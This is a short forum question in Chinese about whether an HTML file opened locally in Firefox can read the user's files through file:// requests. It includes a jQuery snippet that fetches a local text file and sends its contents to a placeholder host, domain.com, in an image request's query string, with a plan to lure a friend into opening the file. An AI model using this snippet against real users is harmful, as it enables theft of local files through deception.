让我们谈谈安全性。在我看来,理论上,如果用户用它打开 html 文件(从他的文件系统打开,而不是从网络打开),我可以使用一些脚本从用户的文件系统获取信息。看代码:
信息.txt:
my info
index.html:
<!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script> <script> $(document).ready(function () { $.get('file:///home/daz/desktop/info.txt', function (data) { $('').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body'); }, 'text'); }); </script> </head> <body></body> </html>
某些浏览器(例如 firefox)允许您通过 XmlHttpRequest 从 file:// 获取文件,所以如果我猜到文件的路径,那么我可以通过ajax获取内容。然后我可以动态添加 img 标签和 src 通向我的域,查询字符串中有参数。然后浏览器乖乖地发出请求GET ?data=my%20info%0A domain.com。在服务器端,我可以解析查询字符串并获取数据。 我能做到吗?如果他打开我的 html 文件,我可以从他的计算机获取用户数据吗?所以我只能说:“嘿, friend ,检查这个文件!”(有 2 个限制:用户应该使用 firefox 或其他具有类似配置的东西,我无法获取用户无法访问的文件,因为访问权限)。
Comments | NOTHING
该文章已经关闭评论